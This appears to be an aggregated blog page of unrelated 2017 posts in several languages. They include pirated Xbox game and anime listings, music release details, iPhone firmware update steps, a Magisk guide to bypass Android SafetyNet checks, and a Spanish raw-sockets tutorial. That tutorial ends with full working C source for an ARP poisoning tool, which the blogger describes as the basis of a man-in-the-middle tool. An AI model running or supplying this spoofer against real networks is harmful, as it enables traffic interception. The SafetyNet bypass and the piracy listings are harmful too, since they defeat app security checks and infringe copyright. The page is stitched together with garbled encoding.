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Friday, September 29, 2017

G I Joe The Rise of Cobra 2009 JTAG RGH – XBOX 360 Torrent

G I Joe The Rise of Cobra 2009 JTAG RGH – XBOX 360 Torrent


G.I. Joe: The Rise of Cobra (2009)
JTAG/RGH � XBOX 360 Torrent
 Ficha T�cnica
Titulo do jogo: G.I. Joe: The Rise of Cobra
Ano de lan�amento: 2009
Idiomas: Multi
G�nero: A��o, Tiro
Desbloqueio: JTAG/RGH
Tamanho: 5.77 GB
Formato: GOD.xex
Plataforma: Xbox 360

 

Sinopse:
G.I. Joe: The Rise of Cobra � The Game � um game de a��o em terceira pessoa baseado nos famosos bonecos (Action Figures) conhecidos como Comandos em A��o no Brasil. O jogo envolve, principalmente, elementos da adapta��o cinematogr�fica de mesmo nome, que deve estrear em agosto de 2009. Desenvolvido pela Electronic Arts, G.I. Joe coloca o jogador na pele de um dos famosos soldados do esquadr�o G.I. Joe. Voc� tem a op��o de selecionar cerca de 12 bonecos diferentes, espalhados por tr�s classes diferentes com caracter�sticas �nicas. A Commando, por exemplo, � uma equipe especializada em ataques a curta dist�ncia. J� os da classe Heavy possuem um arsenal indicado para combates � longa dist�ncia. H� ainda os Combat, que envolvem personagens como Duke e Shipwreck que s�o soldados h�bridos, lutando razoavelmente bem a curta ou longa dist�ncia.


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Thursday, September 28, 2017

En crudo y sin censura RAW SOCKETS I en C

En crudo y sin censura RAW SOCKETS I en C


Aprovechando que tengo que guardar reposo por un mini accidente laboral (tres puntos... ya s�lo me quedan dos para el perro piloto) y no tengo nada mucho mejor que hacer, he decidido ponerme con algo que llevaba postponiendo un tiempo (permitirme la redundancia) ...salsear un poquito con los  SOCKETS en C y ya de paso escribir una entrada en el blog... que me prodigo �ltimamente bien poco....y no hay que perder las buenas costumbres.

A lo largo de esta serie de entradas intentar� mostrar para qu� podemos utilizar la programaci�n de sockets (sobre todo los RAW)  siempre mirando desde un prisma....digamos que oscuro....

Soy consciente que no es un tema f�cil de tratar, y mucho menos hacer que la lectura sea liviana a la par que amena...

Para seguir estos posts es necesario tener unos conocimientos m�nimos de redes, un poquito de C, as� como disponer de una m�quina linux, puesto que este tost�n est� orientado a sistemas Linux o Unix, como ya es com�n en mis entradas.

No pretendo desanimar a nadie, ya sea por lo de los conocimientos o por tener otro S.O... en ambos casos es facil (mas o menos) seguir las entradas. Es m�s, os animo a ello.

Tambi�n quiero dejar claro que que vamos a abordar el tema desde un punto de vista pr�ctico sin entrar mucho en detalles t�cnicos, si no podr�a ser una entrada eterna y tampoco pretendo explicar el modelo OSI (de lectura muy recomendada), a muchos os aburrir�a, as� que lo veremos de soslayo.

�Por qu� C? la respuesta es sencilla: si aprendes en C te ser� sencillo hacerlo en java, python o C++... Prueba al rev�s X-O. (respuesta de un profesor).

Es verdad que en python ser�a m�s sencillo (utilizando alguno de sus frameworks), imposible en muchos casos con java y m�s o menos parecido en c++; pero desde el punto de vista pedag�gico te pierdes muchos fundamentos valiosos.

Desde mi punto de vista ahora que estoy empezando con C, es simple, elegante y endiabladamente r�pido, compacto y eficiente..y muy Oldschool, sin menospreciar en absoluto a Python (pero hoy toca C). 

�Qu� es un Socket? pues como dice la palabra es un enchufe!!...

Socket designa un concepto abstracto por el cual dos programas (posiblemente situados en computadoras distintas) pueden intercambiar cualquier flujo de datos, generalmente de manera fiable y ordenada.

El t�rmino socket es tambi�n usado como el nombre de una interfaz de programaci�n de aplicaciones (API) para la familia de protocolos de Internet TCP/IP, provista usualmente por el sistema operativo.

Segun esta interfaz tenemos tres grupos de sockets:

Socket de flujo (SOCK_STREAM): Define un servicio orientado a conexi�n confiable y bidireccional. Los datos se env�an sin errores o duplicaci�n y se reciben en el mismo orden de como fueron enviados. Podr�amos compararlo con una llamada de tel�fono.. recibir y mandar la informaci�n en su tiempo y de manera bidireccional es cr�tico para la comprensi�n del mensaje, de esto se encarga TCP...Ej dns, tftp, bootp, etc.

Socket de datagrama (SOCK_DGRAM): Define un servicio no orientado a conexi�n (sobre UDP por ejemplo). Los datagramas se env�an como paquetes independientes. El servicio no proporciona garant�as; los datos se pueden perder o duplicar y los datagramas pueden llegar fuera de orden. Soporta la bidirecionalidad pero no es su fuerte. Simplificando (demasiado) es similar a enviar una carta.

Socket raw (SOCK_RAW): Estos sockets nos permiten el acceso a los protocolos de comunicaciones,con la posibilidad de hacer uso o no de protocolos de capa 3 (nivel de red) y/o 4 (nivel de transporte), y por lo tanto d�ndonos el acceso a los protocolos directamente y a la informaci�n que recibe en ellos. El uso de sockets de este tipo nos va a permitir la implementaci�n de nuevos protocolos, y por que no decirlo, la modificaci�n de los ya existentes. Suena interesante no?.

Con esta verborrea trato de ubicar un poco al lector, pues despu�s de lo dicho nos vamos a centrar en el este �ltimo Socket raw o en crudo este tipo de socket trabaja sin estar ligado a un protocolo de comunicaci�n en concreto, es decir, podemos darle el sabor que necesitemos. Lo veremos m�s a delante.

Peculiaridades de Socket raw (SOCK_RAW)

- No incluye por defecto TCP; esto se traduce en perdida de fiabilidad.

- No tenemos que especificar puerto en la comunicaci�n.....O_o..... ya que es el propio kernel  que recibe el paquete crudo el encargado de pasar la informaci�n de  a todos los sockets que est�n escuchando el mismo protocolo, no hay conexiones de red virtuales como tal, es decir, no hay puertos.


- Los campos del Header los deberemos rellenar manualmente, al contrario que si trabaj�semos con otro tipo de socket; el kernel no rellena las cabeceras.

- Carece de un est�ndar.

- Para usar sockets de tipo raw en Unix es necesario contar con privilegios de root.

- hay dos tipos b�sicos de socket raw, y que la decisi�n de cu�l utilizar depende totalmente del objetivo y requisitos de la aplicaci�n que se desea:

 . Familia AF_PACKET: los sockets raw de la familia AF_PACKET son los de m�s bajo nivel y permiten leer y escribir cabeceras de protocolos de cualquier capa.

 . Familia AF_INET: los sockets raw AF_INET delegan al sistema operativo la construcci�n de las cabeceras de enlace y permiten una manipulaci�n �compartida� de las cabeceras de red.

 En breve veremos en detalle la utilidad y funcionamiento de ambas familias.

- Y alguna m�s que seguro que escapa a mi intelecto (por culpa de alg�n gen recesivo).

�Qu� podemos hacer con raw socket?

Con los sockets SOCK_DGRAM y SOCK_DGRAM s�lo puedes decidir el contenido del PAYLOAD TCP o UDP pero no puedes leer ni escribir nada de lo que hay debajo: cabeceras IP, ICMP, ARP, Ethernet, etc. 

Esto nos permitir� desde diagnoxticar ciertos aspectos de la red que de otro modo ser�a dif�cil, componer Datagramas a muy bajo nivel, y construir nuestras propias herramientas a medida de nuestros caprichos.

En definitiva nos va a hacer conocer mejor los protocolos y su seguridad.

Bueno ya para finalizar esta entrada (si no menuda chappa).. y para abrir boca os voy a dejar un codigo fuente de Victor Ramos Mello (que encontre en su Git, el cual me pareci� bueno como ejemplo) en el que hace uso de raw socket para manejar el protocolo ARP.

No atorarse!! ya lo  examinaremos paso por paso, y  desarrollaremos m�s para conseguir una herramienta MITM en pr�ximas entradas para ir ejercitando la mente.

Simple arp poison:

//arp-poison by m0nad
//tested in Linux 3.5.0
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <net/if.h>
#include <sys/socket.h>
#include <netpacket/packet.h>
#include <net/ethernet.h>
#include <netinet/if_ether.h>
#include <signal.h>

#define IP4LEN 4
#define PKTLEN sizeof(struct ether_header) + sizeof(struct ether_arp)

int sock;
void
usage()
{
puts("usage: ./arp-poison <interface> <gateway ip> <mac addr>");
puts("ex: ./arp-poison eth0 10.1.1.1 aa:bb:cc:dd:ee:ff");
exit(1);
}

void
cleanup()
{
close(sock);
exit(0);
}

int
main(int argc, char ** argv)
{
char packet[PKTLEN];
struct ether_header * eth = (struct ether_header *) packet;
struct ether_arp * arp = (struct ether_arp *) (packet + sizeof(struct ether_header));
struct sockaddr_ll device;

if (argc < 4) {
usage();
}

sock = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ARP));
if (sock < 0)
perror("socket"), exit(1);

signal(SIGINT, cleanup);

sscanf(argv[3], "%x:%x:%x:%x:%x:%x", (unsigned int *) &arp->arp_sha[0],
(unsigned int *) &arp->arp_sha[1],
(unsigned int *) &arp->arp_sha[2],
(unsigned int *) &arp->arp_sha[3],
(unsigned int *) &arp->arp_sha[4],
(unsigned int *) &arp->arp_sha[5]);

sscanf(argv[2], "%d.%d.%d.%d", (int *) &arp->arp_spa[0],
(int *) &arp->arp_spa[1],
(int *) &arp->arp_spa[2],
(int *) &arp->arp_spa[3]);

memset(eth->ether_dhost, 0xff, ETH_ALEN);//bcast
memcpy(eth->ether_shost, arp->arp_sha, ETH_ALEN);
eth->ether_type = htons(ETH_P_ARP);

arp->ea_hdr.ar_hrd = htons(ARPHRD_ETHER);
arp->ea_hdr.ar_pro = htons(ETH_P_IP);
arp->ea_hdr.ar_hln = ETH_ALEN;
arp->ea_hdr.ar_pln = IP4LEN;
arp->ea_hdr.ar_op = htons(ARPOP_REPLY);
memset(arp->arp_tha, 0xff, ETH_ALEN);
memset(arp->arp_tpa, 0x00, IP4LEN);

memset(&device, 0, sizeof(device));
device.sll_ifindex = if_nametoindex(argv[1]);
device.sll_family = AF_PACKET;
memcpy(device.sll_addr, arp->arp_sha, ETH_ALEN);
device.sll_halen = htons(ETH_ALEN);

puts("press ctrl+c to exit.");
while (1) {
printf("%s: %s is at %s ", argv[1], argv[2], argv[3]);
sendto(sock, packet, PKTLEN, 0, (struct sockaddr *) &device, sizeof(device));
sleep(2);
}
return 0;
}



para compilarlo:
#gcc arp-poison.c -o arp-poison

un saludo! hasta m�s ver...


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Monday, September 18, 2017

GLIM SPANKY I STAND ALONE 2017 EP

GLIM SPANKY I STAND ALONE 2017 EP


Performed by - GLIM SPANKY
3rd Mini Album - I STAND ALONE
Release Date - 12 / 04 / 2017
Genre - Garage Rock / Alternative Rock
Bitrate - 320 Kbps
Origin - Jap�n (Tokyo, Japan)
WEBSITE | ITUNES | YOUTUBE | FACEBOOK | TWITTER
BUY AT: CDJAPAN | AMAZON | TSUTAYA | TOWER | 7NET | YESASIA | DISK

Tracklist:
01. I Stand Alone
02. E.V.I
03. Freeder
04. Utsukushii Toge
05. Otsukisama no Uta
06. NIGHT LAN DOT (At STUDIO COAST / 2016)
07. Hanashi wo Shiyou (At STUDIO COAST / 2016)
08. BOYS&GIRLS (At STUDIO COAST / 2016)

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Friday, September 15, 2017

DOWNLOAD I PHONE 7 AND 7 PLUS LATEST FIRMWARE IOS 10 1 1

DOWNLOAD I PHONE 7 AND 7 PLUS LATEST FIRMWARE IOS 10 1 1


Official ipsw files link for offline installing or updating of your iPhone 7 or 7 plus latest version,s for I Phone 7 the official latest version is 10.1.1 and I Phone 7 Plus 10.1.1 also if you know how to update or restore I Phone then download the latest version and update you phone with latest version with the help of I tune and if you dont know how to update then it,s ok you will find hundred of videos about how to offline update any I Phone.


About file:Brand:           IPNPNE

Model:                            IPHONE 7 AND 7+ 14B100

IOS VERSION                   10.1 FOR IPHONE 7 AND 10.2 FOR 7+

File type:                       IPSWfile 

Size:                              2.3 GB IPHONE 7 AND 2.4 GB FOR 7+









HOW TO OFFLINE UPDATE IPHONE 7?


FIRST OF ALL BACKUP YOU DATA ON YOU PC.THEN POWER OFF YOU IPHONE AND WAIT FOR 30 SECONDS AFTER POWER OFF.THEN OPEN I TUNES (LATEST VERSION MUST BE INSTALL)ON YOU PC THEN CONNECT USB CABLE WITH YOU PHONE HOLD ON THE MENU BUTTON YOU PHONE GO IN TO DFU MODE AND ITUNES WILL START SEARCHING THE LATEST UPDATE ON ITUNES UPDATE SERVER THEN YOU WILL FIND TWO OPTIONS UPDATE AND RESTORE IPHONE CLICK UPDATE BUTTON WHILE PRESSING SHIFT KEY ON KEYBOARD AND SELECT YOU IPSW FILE AND THEN WAIT FOR 10 T0 15 MINUTES YOU IPHONE WILL BE UPDATE.PLEASE DO NOT NEVER EVER ANY IPHONE UPFATE OR RESTORE IF YOU DONT KNOW ICLOUD ID OR ICLOUD IS ON YOUR PHONE YOU DONT KNOW OR NOT REMEMBER ID.YOU PHONE MAY BE DISABLE.

DOWNLOAD LINK FOR IPHONE 7+ HERE 

DOWNLOAD LINK FOR IPHONE 7 HERE


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Wednesday, September 13, 2017

Enabling Android Pay on Lineage i e getting a Custom ROM to pass SafetyNet checks

Enabling Android Pay on Lineage i e getting a Custom ROM to pass SafetyNet checks


One issue with running a Custom ROM is that applications which require operation in a secure environment can use Androids SafetyNet API, which is part of Google Play Services, to check whether the device has been tampered with - i.e. whether it is running with root, has an unlocked bootloader or is running an unapproved ROM.

Such checks are performed by Banking applications, Android Pay and even some games such as Pokemon Go and others.

One way we can bypass this check is by using Magisk. One of the functions of Magisk is the ability to hide aspects of the system from SafetyNet, allowing applications that use these checks to function correctly on a device that would otherwise fail the checks.

Installing Magisk

Magisk comes in two parts - a flashable zip file, which should be installed by a custom Recovery such as TWRP, and an APK to control its behaviour.

At the time of writing, the latest stable version of Magisk is 12.0. If you are using a newer version, the exact steps required may be slightly different to that outlined below.

1. Download both the Zip file and APK from the XDA thread directly on the device - ideally in Chrome.
2. Shut down the phone and boot into TWRP with Volume Up plus Power
3. Go to Install and locate the Zip file, which is likely to be in the Download folder
4. Once flashed, reboot the phone
5. Ensure that Unknown Sources is enabled in Settings / Security.
6. In a file manager application of your choice, install the MagiskManager apk file, which is likely to be in the Download folder.
7. Turn off Unknown Sources if required

Configuring Magisk

1. Run Magisk Manager
2. Click on the Status burger menu and go to Settings
3. Enable Magisk Hide
4. Tick Magisk Core Only Mode
5. Reboot the phone, as requested

Test for a SafetyNet pass

You can test for a SafetyNet pass either inside Magisk Manager itself (Tap to start SafetyNet check) or via third party apps such as SafetyNet test

Once you have checked that SafetyNet passes, try the application that previously gave issues - hopefully it will now run as expected!


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Sunday, September 10, 2017

UN INCANTESIMO DISCHIUSO TRA I PETALI DEL TEMPO

UN INCANTESIMO DISCHIUSO TRA I PETALI DEL TEMPO


SOLO SUL BLOG "IL MODO DI SUPERGOKU" DA OGGI POTRETE VEDERE GLI EPISODI DI TUTTE LE SERIE DELLANIME THE SLAYERS (UN INCANTESIMO DISCHIUSO TRA I PETALI DEL TEMPO) IN EDIZIONE INTEGRALE COMPLETAMENTE RIMASTERIZZATA IN ITALIANO!

The Slayers, conosciuto in Italia con il titolo Un Incantesimo Dischiuso tra i Petali del Tempo, � una serie anime e manga di genere fantasy. Nasce come una serie di light novel scritta da Hajime Kanzaka nel corso degli anni novanta. Lanime si compone di cinque serie televisive, di cui le prime tre Slayers, Slayers Next e Slayers Try realizzate tra il 1995 e il 1997 che si compongono di 26 episodi ciascuna per un totale di 78 puntate, e la quarta e la quinta realizzate tra il 2008 e il 2009, Slayers Revolution e Slayers Evolution-R, di 13 episodi ciascuna. Alle serie seguono numerosi OAV e film pubblicati successivamente alla serie televisiva, ma che si svolgono in realt� prima degli eventi di questultima. La storia si svolge in un mondo medievale dove la magia occupa un ruolo fondamentale. Protagonista assoluta � la giovane maga Rina Inverse, affiancata da Guido Gabriev, aitante ma imbranato spadaccino, lo stregone Zelgadis Greywords e la principessa Amelia Saillune...


CLICCATE QUI PER ACCEDERE ALLA PAGINA CON GLI EPISODI DELLE SERIE ANIME THE SLAYERS 


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Tuesday, September 5, 2017

Gekidan Hitotose A E I U E O AO!! 2017 Hinako Note OP Single

Gekidan Hitotose A E I U E O AO!! 2017 Hinako Note OP Single


Performed by - Gekidan Hitotose: M?A?O, Miyu Tomita, Yui Ogura, Hisako Tojo & Marika Kouno
Single -  A-E-I-U-E-O-AO!! 
Release Date - 10 / 05 / 2017
Genre - J-Pop / Anime
Opening - Hinako Note
Bitrate - 320 Kbps
Origin - Jap�n (Tokyo, Japan)
WEBSITE | MUSIC | ITUNES | TWITTER
BUY AT: CDJAPAN | AMAZON | TSUTAYA | ANIMATE | TOWER | 7NET | DISK

Tracklist:
01. A-E-I-U-E-O-Ao!!
02. Issho ni Kaerou
03. A-E-I-U-E-O-Ao!! (Instrumental)
04. Issho ni Kaerou (Instrumental)

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